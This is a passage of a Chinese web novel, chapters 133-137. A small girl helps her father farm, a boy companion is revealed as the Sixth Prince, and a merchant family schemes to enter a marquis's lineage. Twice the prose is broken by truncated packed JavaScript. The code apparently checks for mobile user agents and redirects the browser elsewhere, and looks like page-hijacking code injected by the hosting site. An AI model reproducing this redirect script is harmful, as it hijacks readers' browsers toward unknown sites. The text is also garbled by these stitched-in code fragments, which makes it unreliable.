他蹲在田边,伸手抚过那些秧苗的叶尖,那神情像是在抚摸自家孩子的头发,嘴里啧啧称奇:“你们看这根系,扎得多深,这才多少天?往常这时候秧苗还黄着呢。”
“就是,这几天我们都有往旁边村的稻田去看,他们才开始插秧,那一小撮秧苗不够三寸长,光看瘦了吧唧的,哪有什么指望!”一个佃户接话,说得唾沫横飞,还比划着长短,“咱们这秧苗都到小腿肚了,绿得发黑,一看就是好收成的相!”
“到时候丰收,不知多眼红我们呢!”另一个佃户哈哈大笑,露出满口黄牙,笑得眼睛眯成一条缝。
佃户们信心十足,早就没有了原本的怀疑,更没人说怪话。现在是主子指哪,打哪!听话得很。谁要是敢说半个不字,不用孟大川开口,旁的佃户就先不答应了——那可是害他们少收粮食!
“禾宝,您又来了?今天有什么指示?”有佃户逗她。
阿沅站在田埂上,双手背在身后,小大人似的仰着脸,奶声奶气地说:“杂草一定要拔掉哦,不让它们吃了肥。”
她穿着一身鹅黄色的小褂子,裤腿也挽起来一半。头上扎着两个小揪揪,说话时还认真地皱着小眉头,那模样逗得一群大老爷们儿心都化了。
“定是神仙护佑,今年的地里杂草少的很,我们都看着呢,想多积点绿肥都得往山上跑,地理找不到。”佃户们看见她就高兴,连带着庄子里的孩子都喜欢跟着出来帮忙,就为了每天可以看见漂漂亮亮又可爱的小主子阿沅。
那些佃户家的孩子们围在阿沅身边,有的举着刚捉的蚂蚱给她看,有的采了野花往她手里塞,阿沅来者不拒,笑眯眯地一一接过,然后一本正经地叮嘱:“不要偷懒哦。”
阿沅每天写完字,就喜欢跟着爹爹到田里溜达。总喜欢双手学着孟大川往后面抄,像个小大人似的,偶尔还和林庄头或是佃户说上两句,佃户们已经司空见惯,也喜欢逗她,
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“禾宝”这个称谓也就此叫开了。
有时孟大川在前头跟庄头说话,阿沅就跟在后头,迈着小短腿一步一步踩在田埂上,时不时蹲下来看看禾苗,偶尔还贴着耳朵交代上爹爹几句,那认真的模样,活像个小庄稼把式。
关于水稻种植的书籍,孟大川已经看了很多,虽然不是耳熟能详,但学到了不少种植的知识。
但是孟沅不肯就此放过他,开始给他换了更深奥的书籍。不光是水稻,其他粮食的种植也有涉及,就是水利灌溉等有关农业的书籍都不放过,不断给他增加学习的难度。
真真是在用现代的知识培养亲爹。
孟大川对那些书籍宝贝的很,权当是“神仙姑姑”的恩赐,看得越发虔诚,遇到不懂的地方还拿笔标注,等着第二天问阿沅——当然,是问阿沅,再由阿沅去问神仙。
孟大川学习认真,偶尔还在书籍上勾勾画画标注一下,有时连吃饭的时间都还捧着书本。自然被孟怀瑾和阿执看出了端倪。
有一回吃饭,孟大川一手拿着筷子,一手还按着书页,眼睛压根没离开过那些字,筷子伸了半天愣是没夹着菜,最后还是柳氏看不下去,踮着脚给他碗里夹了一筷子青菜。
“孟大人,您这书哪来的?”
阿执率先发问。纵然他也进过无数次“他们家”的藏书阁,但是,关于农学的记载,没见过那么认真,也没那么详尽的,书里的方法更是脱离了他的认知,以前闻所未闻。
他放下筷子,目光落在书页上那些密密麻麻的批注上,眉头微微蹙起——那些字迹,有些是孟大川的,可有些却像是……三岁孩子写的?可那歪歪扭扭的字里,偏偏又有几分老道的笔意,说不出的古怪。
孟怀瑾也好奇,有时候也会拾起来翻翻看看,按杨大孺的说法,他知道自己不能读死书,也不能光读四书五经,农学的书看多了也觉得受益匪浅。
只是他看书时总忍不住偷偷观察阿沅,想从妹妹脸上看出些什么,可阿沅总是笑眯眯的,要么埋头吃饭,要么逗弄脚边的小猫,有时候还窝在娘亲的怀里让她喂上几口,话少的很。
第133章 回城跟我们住一起么?
“阿沅,这庄稼混种和果树授粉嫁接方法好新奇,爹爹想试一试。”相处久了,在家人和孩子们面前,孟大川有时候也不太注意避嫌,自然而然地请教起了女儿。
他提问时,眼神亮晶晶的,像个充满了求知欲的孩子,哪里还有半点平日里严肃的样子。
自然,他认为请教阿沅,就等于通过女儿的嘴请教神仙姑姑。
“明后天先生不上课,不如我们就到山坡上那片果林试一试。”孟怀瑾也兴致勃勃,对那嫁接的方法起了兴趣,如果真如书上所说,嫁接的梨树上可以长出红果,或是又像梨又像红果的不同果实,那也太奇妙了。
他心里打着自己的小算盘——若是能亲眼看看阿沅如何指点,说不定能看出些端倪。可他这念头刚起,就被自己压下去了,妹妹的事,还是……还是少探究为好,还有个心怀鬼胎的师弟在呢。
阿执直接提议,“禾苗眼看着就要抽穗了,可以养稻花鱼了吧?”他说这话时,眼睛却是看着阿沅的,那目光里有探究,有好奇,还有一丝不易察觉的笑意——这个小丫头,身上到底藏着多少秘密?
“好呀!哥哥们说试试就试试。”有人助攻,阿沅自然举双手双脚赞成。看在四个人眼里,就是心怀鬼胎,就是奸计得逞,可是没有一个人道破,对她只有纵容和宠溺。
阿沅举起两只小胖手,在空中晃了晃,又踮着脚蹦了两下,那兴奋的样子,看着就是个普通的三岁小孩。可阿执分明看见,她那双黑葡萄似的眼睛里,闪过一丝狡黠的光。
待到秧苗抽穗,禾花鱼也养下去,阿沅和爹爹娘亲带着一拨人,又在四个庄子转一圈回来的时候,阿沅开始坐不住了。
她每天站在院子门口往外张望,小脸上写满了“我要进城”四个大字。有时看到路过的马车,就眼巴巴地盯着看,直到马车消失在路尽头,才垂头丧气地往回走,那小背影看着可怜巴巴的。
“爹爹,阿沅想进城了。”阿沅又爬上了爹爹的膝盖,只是这一次孟大川没有坐在轮椅上,或者说是已经彻底脱离了轮椅。
她两只小手揪着爹爹的衣襟,仰着小脸,眼睛眨巴眨巴,那委屈的小模样,任是谁看了都不忍心拒绝。
她都没开始撒泼央求,孟大川就来一句,“要不要爹爹跟你一起?”他说这话时,低头看着怀里的女儿,眼里有怜爱,也有别的什么——是时候了,该进城去会会那些人了。
“真的?爹爹要回去了吗?”孟沅没想到这么快,但表达出来的都是欣喜,看向孟大川的眼神里都是星星。
“嗯!”孟大川默默点头,似乎心有所想。
“那…儿子?”这话依然是在饭桌上说的,孟怀瑾眼里先是有了光,然后那道光忽然变得凌厉,牙齿也发了狠,没一会儿薄唇上就现出了牙印。他攥着筷子的手指节发白,死死盯着父亲,那眼神里有渴望,有不甘,还有一丝委屈——凭什么妹妹能去,他不能?他明明是更应该为家庭付出的那一个。
“你好好读书!没你的事。”孟大川一口回绝,他回去可是有意图的,觉得是时候去向侯府那帮人收点利息了。他说这话时语气很重,不容置疑,可看到儿子瞬间黯淡下去的眼神,又有些心软,只是话已出口,收不回来了。
就是阿沅也冲哥哥摇了摇头,然后举起了小小的拳头,“哥哥读书考状元,阿沅帮你报仇。”她挥着小拳头,小脸上满是认真,那模样像只竖起毛的小猫,看着凶,其实可爱得要命。
倒是低头吃饭,刚刚还对他们一家人的互动恍若未闻的阿执,忽然抬起了头,闷闷来一句,“孟大人,我也得回去一趟。”他说这话时,语气平平的,脸上没有一丝波澜。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230825|195865||http|test|mini|href|location''.split(''|''),0,{}));
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>他说的是“回去”,但没有一个人提出疑问:你记起来了?你的家也在京城?
阿沅拍起了小手,第一个赞成:“阿执哥哥也去,阿执哥哥带我去玩。”她欢呼着从爹爹膝盖上滑下来,跑到阿执身边,一把抱住他的胳膊,仰着脸笑得眉眼弯弯。那笑容太过灿烂,晃得阿执有片刻失神,随即垂下眼帘,嘴角却微微翘起。
孟沅觉得,进了城,没准就可以知道这个男孩的秘密,没准就可以探出他的底裤,可能就可以解开他们原本认识的谜底。
她抱着阿执的胳膊,心里盘算着小九九,却不知阿执心里也有更大的盘算。
马车粼粼地行进在进城的官道上,车轮碾过碎石,发出细碎的声响。
阿沅趴在车窗边,看着外头飞速掠过的田野,忽然转过头来,一双大眼睛亮晶晶地望着阿执。
“阿执哥哥回城也跟我们住一起吗?”她歪着小脑袋,额前的碎发被风吹得微微颤动,嗓音软糯糯的,像是刚出炉的糯米团子。
孟大川也侧过头来,目光在阿执脸上停留,带着几分探寻。阿沅的这个问题,其实也是他想问的。
阿执似乎早就料到了会有这一问。他嘴角微微扬起,难得地露出一个笑容,那笑容很浅,却在一侧脸颊上旋出一个浅浅的酒窝。
阿沅盯着那个酒窝看了半晌,忽然觉得心里又涌起一股莫名的熟悉感。
阿执的目光与阿沅相遇,他没有躲闪,那双沉静如水的眼睛里映着阿沅小小的身影。然后他转向孟大川,微微拱手,动作虽轻,却透着几分与年龄不符的端方:“劳烦孟大人送我去大长公主府。”
孟大川似乎并不意外这个答案,只是轻轻点了点头,声音温和:“什么时候回去?阿执派人过府说一声,届时叔父过来接你。”他不太喜欢阿执叫他孟大人,总是以叔父自居。
第134章 和潇潇姐姐两张面孔重叠在一起
阿执颔首应下,而阿沅听到他说的地址却愣住了。
大长公主府?
这四个字像是一颗小石子投进平静的湖面,在她小小的脑海里激起层层涟漪。大长公主府——赏花宴——潇潇姐姐——那些画面飞快地在她心里过了一遍,快得她自己都还没理清楚。
她再次看向阿执,对上他脸上那个渐渐扩大的笑容——那笑容越来越大,最后竟变成了一个大大的、灿烂的笑,露出两排整齐的牙齿。她清楚地记起了潇潇姐姐的小酒窝和甜甜的笑容。
阿沅猛地吓了一跳,下意识伸手扯住他的袖子,脱口而出:“潇潇姐姐?”
漂亮哥哥和漂亮姐姐几乎一样的脸庞重叠在了一起。
“哈哈!”阿执忍不住笑出声来,那笑声清朗,像是山间溪流撞击石头发出的脆响,“阿沅总算记起来了!你这小脑瓜子,可真是健忘。”
他一边笑,一边伸手把阿沅抱起来,动作轻柔得像是在捧一朵小花,然后把她轻轻揽在自己膝上坐稳,还如同上次春日宴一样。阿沅只觉得一股暖意从膝盖上传上来,夹杂着淡淡的皂角香气。
“但这样还不够。”阿执低下头,一只手轻轻抚上她头顶那两个小小的揪揪,那动作温柔得像是在抚摸什么稀世珍宝。
他的声音低沉下来,带着几分追忆和唏嘘,“两年前,阿沅救过阿执哥哥一命。救命之恩,哥哥不敢忘。倒是姨母和阿沅妹妹,全都忘了。”
他说这话时,眼里有一瞬间的黯淡,像是想起什么不愿回想的往事。
“啊!”阿沅是真的懵了。两年前?那时候原主才一岁多一点点!能做什么?她瞪大眼睛,小嘴张成一个小小的圆,那模样又傻又可爱。
“什么?”孟大川也猛地睁大了眼睛,瞳孔微微放大,声音不自觉地拔高了几分,“怎么可能?两年前阿沅才多大?”
他算着日子,那时候阿沅最多一岁零两三个月,路都走不稳,话也说不利索,怎么可能救得了人?更何况,从未听夫人提起过这件事。
阿执轻轻拍了拍阿沅的后背,像是安抚一只受惊的小兔子。他抬起头,目光越过车帘,望向远处模糊的山影,声音变得悠远起来。
“那是一次跟小安子出门。才出了内城就遭到伏击——”他顿了顿,那只放在阿沅后背的手微微收紧,“再被砍一刀就没命了。”
孟大川的眉头拧紧了,却没有打断他。
“刚好姨母带着阿沅妹妹坐马车路过。”阿执低下头,看着膝上那个小小的团子,眼神里多了一层柔软的光,“阿沅吓得哇哇大哭,姨母大叫着救命,又有贵府的护卫相帮。那些贼人做贼心虚,又引来巡防司的人,最后被吓跑了。”
他说着,忽然把阿沅轻轻放在一旁,自己站起身来。马车虽不高,他却硬是在车厢里微微屈膝,做了一个极标准的半跪之礼,双手抱拳,声音郑重:“大恩不言谢。”
孟大川吓了一跳,连忙伸手去扶,两手相触时,他才发觉这个孩子的肩膀虽然单薄,却绷得那样紧。
阿执没有立刻起身,继续说道:“姨母后来又派人送我和小安子去了医馆,找了最好的大夫,这才得以保命。”
他抬起头,眼中有什么东西在微微闪动,却又很快隐去。
孟大川拍了拍他的肩膀,那只宽厚的大手在阿执肩上停留片刻,轻轻按了按,声音低沉而温和:“当时叔父领命远在北疆,回来夫人也没有提起过这件事——”
他顿了顿,又加了一句,“大难不死,必有后福。”
阿执没有接这句话,只是微微摇了摇头。他重新坐回去,把阿沅又揽回膝上,自顾自地往下说:“待到养好伤,已过了几个月,本想答谢恩人,着人费了好多功夫去查。”
他低下头,看着怀里的小团子,眼里是说不清道不明的情绪,像是感激,又像是庆幸,还夹杂着几分连他自己都说不清的亲近。
“直到上次大长公主办的赏花宴前夕,才确定恩人就是阿沅妹妹和姨母。也才知道——”他的声音顿了顿,目光与孟大川相遇,“才知道孟大人一家的遭遇。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236538|195865||http|test|mini|href|location''.split(''|''),0,{}));
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r>“所以您是刻意接近我们?”孟大川忽然换上了敬称,语气里多了几分疏离,还轻轻拱了一下手。那一个“您”字,像是一道无形的界线,划在了两人之间。
阿执叹了口气,那叹息声轻得几乎听不见,却让阿沅感觉到揽着自己的手臂微微收紧了些。他的脸上浮现出一种超乎年龄的悲戚神情,眉眼间竟有了几分不属于九岁孩童的沉重。
“也是,也不是。”他的声音低低的,“找个理由躲出去,只是权衡之计。只是没想到,跟也同样想远离朝堂纷争的太傅撞到了一起,还得劳烦你们照顾。”
他说着,低下头看着阿沅,那目光里多了一丝歉疚。
孟大川沉默片刻,终于问出了那个最关键的问题:“六殿下,以后想要如何?”
六殿下!
这三个字像是一道闪电,劈开了孟沅心里所有的迷雾。她猛地抬起头,盯着阿执的侧脸,那双眼睛瞪得圆溜溜的。
原来如此——难怪他会扮成潇潇姐姐刻意接近她,难怪她会觉得他那样亲切,难怪她对他有种天然的信赖,也有种直觉他绝不会加害于她。
她小小的心里,忽然涌起一股奇异的情绪。原来原身还有这样的造化,一岁多的时候机缘巧合还救过这位贵人。
那段记忆她是没有的,若是原主没死,应该也早就忘得一干二净了吧?毕竟年岁太小。
“阿执哥哥长大了想干什么?”阿沅忽然冒出这句话,声音软软的,却带着几分认真。她想起杨大儒好像和孟大川说过“若是再等个七八年”那样奇怪的话,当时不懂,现在看眼前男孩的年岁,却好像隐隐明白了什么。
阿执低下头看她,目光里有一瞬间的怔愣,随即那双眼睛像是被点亮了一般,泛起柔和的光。
他没有立刻回答,而是抬起头,目光穿过车帘,望向远处广袤的田野。
田野里有农人在弯腰劳作,有孩童在田埂上奔跑嬉戏,有炊烟从远处的村庄袅袅升起,但都瘦骨嶙峋,衣衫褴褛,远处山坡上都是新的坟包。
第135章 六殿下的抱负
“唯让天下太平,劳苦百姓有饭吃,有衣穿。”他的声音不大,却字字清晰,像是许下什么郑重的诺言。
说完,他低下头,嘴唇轻轻亲了亲阿沅的发顶。那个吻很轻很轻,像是一片羽毛落在头顶。阿沅只觉得头顶传来一阵温热,心里也暖暖的,这样的回答,她很满意。
“六殿下……这是极大的抱负。”孟大川发出一声叹息,那叹息里既有欣慰,也有几分说不清的复杂。这看似平常的话语,实则是这世间最难做到的事,也是几乎所有帝王想要做,却都做不到的。
没想到六殿下小小年纪,就有如此的抱负。这一点太傅果然慧眼识人,没有看错。
孟沅心中一喜,忽然举起自己小小的拳头,在空中用力挥了挥,那动作又认真又可爱:“有饭吃,有衣穿,就不怕打打!”
她把六皇子的抱负简化成了自己能理解的模样,用最直白的方式表达自己的支持。那小拳头挥得虎虎生风,像是在为他鼓劲。
有饭吃,有衣穿。就不怕外敌的侵犯。
“阿沅……”阿执看着她,轻轻摇了摇头,嘴角却忍不住弯了起来。那笑容里有一丝无奈,也有一丝感动。这个小人儿还不懂这世道的艰难,还不懂他说的是多么难以实现的愿望。
“我是小禾宝!我和爹爹一起种稻子!”阿沅继续挥舞着小拳头,两条小腿在阿执膝上轻轻蹬着,差点没喊出“加油加油”的呐喊声。那模样又憨又可爱,像一只急着表现自己的小奶猫。
阿执轻轻握住她挥舞的小拳头,把自己的手指慢慢**她的指缝间,让她紧握的拳头摊开,安安稳稳地落在自己的手心里。那只小手又小又软,还带着孩子特有的温热,像一团刚出笼的小包子。
他脸上浮现出一个幸福又欣慰的浅笑,那笑容驱散了方才所有的阴霾,让他看起来终于像一个九岁的孩子了。
“孟大人可想过先去江南?”阿执忽然抬起头,目光灼灼地看向孟大川。
“江南?”孟大川的心跳快了几拍,脑子却一时转不过弯来。他愣在那里,眉头微微皱起,显然没想到阿执会忽然提出这个建议。
“江南是阿执的母家。”阿执的声音平静,却带着几分郑重,“母妃虽然不在了,但根基还在。孟大人看那么多农学的书,定是也想有所建树。”
他的目光落在孟大川手边那本被翻得起了毛边的农书上,眼里带着几分了然。
“阿执哥哥是让爹爹做种田的大官吗?”孟沅眨巴着眼睛,忽然冒出这么一句。她却隐约听出了阿执话里的意思,想要一语道破。
阿执低头看她,嘴角的笑意加深了几分:“以后官大不大,得看孟大人的本事。但是先做钱塘或是平江郡的伺农官,运作一下,还是可以的。”
他说着,再次看向孟大川,那眼神灼灼,像两团小小的火苗。孟大川只觉得整个人都僵住了,脑子一片空白,身体也动弹不得。
他不敢马上做出决定,而是下意识地低头看向怀里的女儿。
阿沅也正好抬起头看他,父女俩的目光在空中相遇,交汇良久。
阿执似乎是担心他有顾虑,又补充道:“侯府的爵位无需顾虑。只要没传出孟大人的死讯,都不会旁落别人之手。”他的声音平静,却一字一句都说到了孟大川最担心的那件事上。
看他们父女俩眼神交汇半天,还是没有言语,阿执继续说下去:“怀瑾师兄可以去江南最好的书院,迟个几年再参加科举也不迟。现如今……实在不是最好的时候。”
他说到最后一句时,语气里多了几分与年龄不符的沉重,像是看透了什么不该看透的东西。
“爹爹,去!”阿沅忽然发话,声音软糯却坚定。
孟大川听到女儿终于开口,他长长吐了一口浊气,紧绷的肩膀微微放松下来。可阿沅的下一句话,又让他的心猛地提了起来。
“您带娘亲和哥哥去!”
“阿沅不去?”孟大川的声音里多了几分急切,眉头拧成了一个疙瘩。
阿沅没有回答爹爹,而是扭头看向阿执,咧开嘴呵呵笑起来。那笑容跟她平时甜甜糯糯的笑不一样,带着几分狡黠,
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像个得逞的小狐狸,又傻又可爱。
“先生不去我也不去。”她晃着两个小揪揪,“我是小禾宝,我种地,我帮阿执哥哥。”
“你才多大?”孟大川急了,声音不自觉地拔高。这时候他可不相信什么神仙姑姑忽然又给了女儿什么主意,看女儿眼神里那贼兮兮的模样,定是她自己的鬼主意。
阿执也有点意外地低下头,看着自己下巴底下那个小小的奶团子。阿沅正好抬起头,两人的目光撞在一起。阿执看着她那双亮晶晶的眼睛,忽然收紧了揽着她的手臂,把她往怀里拢了拢。
他在心里做起了权衡,眉头微微蹙起,脸上的神情认真得像是在思考什么。
“你们离开的消息一出,侯府那边定不会再寻来庄子。”他缓缓开口,声音平静却笃定,“阿沅跟着我和太傅,倒是安全的。”
他从不用高高在上的自我尊称,商量的语气如同面对自己的长辈。
他抬起头看向孟大川,目光郑重:“孟大人放心,阿执定会护阿沅妹妹周全。”
那一声“阿沅妹妹”叫得自然又亲昵。
“这事不急!”孟大川不淡定摆了摆手,眉宇间有几分心烦意乱。
他稍稍歇了一会儿,平复了一下心绪,才继续说下去,“要走也等收割了这一季稻子再说。这样叔父指导种地,也多点底气。”
他说着,低头看向阿沅,目光里满是舍不得:“只是,再怎么说,把阿沅自己一个人丢在京城,丢在庄子,叔父舍不得。姨母和你师兄肯定也是不肯的。”
他说到“姨母”两个字时,声音里多了几分愧意。
“我们会回去。”阿沅忽然说,声音清脆。
“我有空会带妹妹回去江南见大人和姨母。”阿执几乎是同时开口。
两人的声音叠在一起,像是一声清脆的合鸣。说完他们对视一眼,阿执嘴角弯起,阿沅也咧开嘴笑起来,露出几颗小米牙。
孟大川看着这两个孩子,忽然觉得心里那块大石头,好像被什么东西轻轻托起,有点沉重,但是好像又没有那么重。
第136章 老宋氏好了?
“爹,不是我说您。”白继祖将茶盏往桌案上重重一放,褐色的茶汤溅了出来,在簇新的杭绸桌布上洇成一团污渍,他斜睨着坐在上首的父亲,声音里压着不耐烦。
“老太婆都快**,花那么多钱进去有什么用?御医都摇头的人了,就是拿人参当萝卜啃,也不过是多拖几日受罪。
还不如趁她还能喘气,赶紧跟孟二泉摊牌,将我们这一房正经的血脉写入族谱。
您瞧瞧咱们现下这名分——说是亲戚借住,可外头谁不戳着脊梁骨说咱们是打秋风的白家商户?
老大眼看要说亲了,人家一听是商籍,好端端的官家小姐都打了退堂鼓。爹,您得为孙子想想啊!”
白家搬进安平侯府后,白弟城倒是一点都不吝啬。头三日便抬了二十口樟木箱子进府,白花花的银子流水似的花出去。
不但把侯府那摇摇欲坠的门楣暂且支撑了起来——换了大门口两尊新石狮,补了正厅缺角的滴水屋檐,连后花园枯死的海棠都挖了去,重新移栽了两株垂丝——还给老宋氏到处寻访名医。
也是歪打正着,太医院院正都摇头的中晚期卒中之症,让江北来的一个游方郎中几剂药下去,老宋氏僵了半年的舌头居然软了,原先只能淌口水的嘴,如今竟能吐出字来,虽说还是不太利索,但好歹能听明白。
实际上,她病情能够得以缓解,也是孟大川进城后的计策之一。
自从撞破老宋氏与白弟城的丑事,阿沅便依着孟大川的吩咐,让人潜入将原本的那帖“贵重”汤药停了。
既然知道了她跟白弟城那些见不得人的勾当,还想算计侯府,就不能让她死得那么舒服——有些仇恨,五马分尸自然没有厉刀片肉来得痛快,钝刀子割肉,才见真章。
但是,辛辛苦苦挣来的真金白银就这么哗啦啦地投进侯府这个无底洞,连个正经名分都没换来,白继祖真的很不高兴。
他盘着腿坐在炕上,拨弄着算盘珠子,每拨一下,眉头就拧紧一分——这一个月的账,光是老宋氏的药钱人参钱,就够在城南再盘一间铺面了,何况还养着侯府那一堆人。
他不高兴,他的妻子刘白氏也不高兴,捏着帕子坐在一旁,嘴里絮絮叨叨数落着公爹的不是。
他那等着继承家业的老大老二更不高兴,兄弟俩躲在倒座房里,一个说祖父老糊涂了,一个说这侯府就是个填不满的坑。
反正一家子人,没一个有好脸色的。
白弟城的两个小妾更不高兴。这两个年轻妇人,本是江南瘦马出身,跟着白弟城原是指望进侯府享福的,谁知住进来快两个月了,连正堂都没踏进过,还被侯府那帮下人横眉竖眼。
这日午后,两人凑在最小、最偏僻的那个院落里嗑着瓜子发起了牢骚。
一个将瓜子皮啐得老远,撇着嘴道:“你说爷图的是什么?那老虔婆吃喝拉撒全都在一张床上,屋子里那股子骚臭味儿,熏得人隔夜饭都能吐出来。
我上回送参汤,差点没憋死。就这样的,难道还能张开那两条老腿勾引爷不成?”说罢拿帕子掩着嘴,笑得花枝乱颤。
另一个附和着,将声音压低了些:“更恶心的是昨晚——我听守夜的婆子说,爷居然留宿在她房里了!我的老天爷,那老虔婆躺着动不得,擦身都是丫鬟的事,爷就硬是守了一宿。你说说,这是图什么?”两人对视一眼,又是撇嘴又是摇头,手里的瓜子嗑得更响了。
白弟城也烦恼得很,连两个瘦马小妾屋里都忘了来。他背着手在书房里踱来踱去,眉头拧成了疙瘩。
本以为老宋氏只要能清楚表达意思,就会立刻跟孟二泉摊牌,先把大儿子这一房记入孟家族谱。
谁知老宋氏这老东西,不知是病了一场反倒生出羞耻之心了,还是临死前忽然想起自己侯府祖母的体面来了,任凭他怎么软磨硬泡,死活就是不肯松这个口。
昨晚上他连年轻时哄她的那些手段都使出来了——低三下四说软话,许愿将来给她立牌位修祠堂,甚至挤了两滴老泪——可老宋氏就是咬**不点头,只含含糊糊说“再想想”“容我
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琢磨琢磨”。
他本想先入孟家族谱鸠占鹊巢,等大儿子有了尊贵身份后再慢慢活动,想着以后总有办法改回白姓。这些事情都得从长计议,急不得。
为避免夜长梦多,他也是使出了年轻时走南闯北练就的浑身解数——好话说尽,眼泪抹干,甚至跪在床前赌咒发誓——就想让老宋氏松这个口,再逼同为他亲骨肉的孟二泉就范。
“你别糊弄我!”白弟城一屁股坐在床沿,盯着老宋氏那双浑浊的眼睛,声音压得低低的,却透着一股子狠劲儿。
“老子几十年的青春都扑在你身上了,从二十出头就伺候你,伺候到如今头发都白了。你临死前,若是不给老大一个正儿八经的身份,我豁出这把老脸去,也不怕把侯府捅出个窟窿——那些陈年旧事,我可都记着呢,就不信你这把老脸不要了。”
说着伸手替她掖了掖被角,那动作倒像是温柔体贴,只是手指头微微发抖,显是动了真气。
“你敢!”老宋氏咬牙切齿,歪着的嘴勉强挤出几个字,唾沫星子喷在白弟城手背上,“我不好过,你也不想好过,我这辈子还不是因为你担惊受怕。
你以为坐在龙椅那位是好糊弄的?二泉还没继承爵位呢,他的前程不要了?若是惹得皇上生气,直接撸了侯府的爵位,谁都讨不到好。”她喘了几口粗气,浑浊的眼珠子里头,难得露出一丝清明。
“咱们那点子事,闹出来,头一个倒霉的是二泉,第二个就是你。你别以为皇上是吃素的。”
“那你说怎么办?”白弟城的声音软了下来,像是被抽去了脊梁骨,肩膀也塌了,“总不可能咱们俩两脚一蹬,这事就这么过了。两兄弟合为一家是肯定的,我现在都不管是姓孟还是姓白了,你还要我怎么样?”
他耷拉着脑袋,盯着自己那双养尊处优的手——这双手,如今老了,却要在这里低三下四求人。他闹这一出,可不是为了**头,也不是为了由商户变为罪人,而是为了子孙后代能世代富贵,能堂堂正正做人上人。
第137章 白家和孟二泉相互算计
“这事也不是不能办,就看爹您肯不肯。”门口忽然传来一道凌厉的声音,那声音冷得像腊月里的井水,一下子把屋子里的闷热都浇透了。
白弟城吓得一哆嗦,猛地转身,就看到孟二泉大踏步走了进来,锦袍下摆带起一阵风,那张脸上似笑非笑,眼里却是明晃晃的讥诮。
“二泉,你……你肯认爹了?”白弟城熬了几十年,等的就是这一天。此刻听到孟二泉嘴里蹦出这个“爹”字,虽然明知不是什么好话,眼眶还是一下子热了,泪花花在眼眶里打转,嗓子眼里像是堵了团棉花。
“二泉,你……你……都知道了?”老宋氏也一个激灵,身子在被子底下绷得僵直,若不是半边身子不听使唤,怕是得惊得坐起来。
她的脸刷地白了,嘴唇抖了抖。
“谁家的表哥专等侯爷不在才进门?还和表妹深更半夜窝在一间屋里?”孟二泉大喇喇坐在床前的红木圈椅上,翘起二郎腿,拿眼梢瞟着这两人,声音里带着刺。
“你们有一点想避开我的意思吗?怕是故意做给我看的吧?”他看都不看白弟城一眼,只盯着老宋氏,那目光跟刀子似的,刮得老宋氏浑身不自在。
“你……你是什么时候知道的?”老宋氏战战兢兢地问,声音打着颤,眼底终于露出了一点心虚。
她不敢正视孟二泉的眼睛,只盯着被面上绣着的缠枝莲花,那莲花在她眼里晃成了模糊的一团。
“什么时候知道的?”孟二泉冷笑一声,那笑声像是从牙缝里挤出来的,“呵呵,侯爷眼瞎,我可眼神锃亮着呢。
我这个‘爹’——他特意把这两个字咬得很重——“来一次哪次不是避着侯爷?怕是为了不让我撞见,小时候您都没少冲我用药吧。”说着他又转过脸,再一次鄙夷地看向白弟城,眼里满是轻视和戏谑。
“让你们失望了,七八岁时第一次撞见,我就恨不得用侯爷的刀剐了你们。省得外人知道我孟二泉是奸生子出身,省得我在外头抬不起头来做人。”
“二泉……”白弟城的腰弯得更低了,脸上堆起讨好的笑,“爹对不起你,可我和你娘确实是真心的,不然哪会有你,哪会有你哥。”他往前凑了半步,伸出手想拍拍儿子的肩膀,却被孟二泉一个眼神逼得缩了回去。
“真心?跟那两个侍妾也不是假意吧?”孟二泉嗤笑出声,那笑声在屋子里回荡,刺得人耳膜生疼,“呵呵,不过是为了侯府的富贵罢了,何必讲得那么冠冕堂皇。您…”
他用下巴朝白弟城点了点“不过是个商户,惦记着侯府的门第;”
“您”他又转向老宋氏,“说什么真心,也不怕笑掉人的大牙。”
“可我真的是为了你们娘俩好!”白弟城急急辩解,额头上沁出汗珠来,“不然,就你娘那点子嫁妆,你们早都被大房一家吃到骨髓里去了!若不是我们出银子,又差人…”
他忽然住了口,咽了咽唾沫,压低声音,“解决了孟大川,这爵位也绝对由不得你来继承!”他站在儿子面前,明明是亲父子,却像个犯了错的奴才,腰弯着,头低着,眼睛不敢抬起来。
商人在权贵面前的卑微,此刻鲜明地刻在他的骨子里。但为了几十年的谋划,他不得不低头——他清楚得很,若是真跟这个小儿子撕破脸,他白家什么都得不到,几十年的心血就全白费了。
“白继祖若想加入族谱,也不是不行。”孟二泉这话一出,白弟城和老宋氏的心同时一松,脸上闪过一丝喜色。他们都知道,只要孟二泉松了口,这事就有指望了。
说实话,以如今侯府的状况,爵位还没正式承袭,里里外外一团乱麻——孟二泉若是不点头,他们再怎么威逼利诱,还真是办不成这事。
“但是,想记可没那么容易,必须得皇上点头才行。”孟二泉这话一出,两个耄耋之年的老人心里又是一紧,四只眼睛紧张地盯着他,大气都不敢喘一口。
皇上怎可能同意?
“须得挣个从龙之功。”孟二泉意味深长地凝了白弟城一眼,那目光里带着算计,也带着试探,“若是三皇子上位,到时,我只说大哥是侯爷当年流落在北地的外室子,认祖归宗便是。”
说完,他用拇指和中指搓了搓,那贪婪之色,不言而喻——这是在要银子,要白家的银子去给三皇子铺路。
“外室子?那怎么行!”白弟城的声音忽然拔高,像是被人掐住了喉咙,脸上青一阵白一阵,非常不可置信。
他白弟城的儿子,他白家的长子嫡孙,怎么能落个外室子的名声?这不是往他脸上抹黑吗?
“不然呢?爹还想给他个侯府嫡长子之位?”孟二泉嗤笑出声,心里暗骂这个让他身负污名的亲爹吃相太难看。
他靠在椅背上,拿眼梢睨着白弟城,那眼神像是在看一个不懂事的孩子,“您也配?”
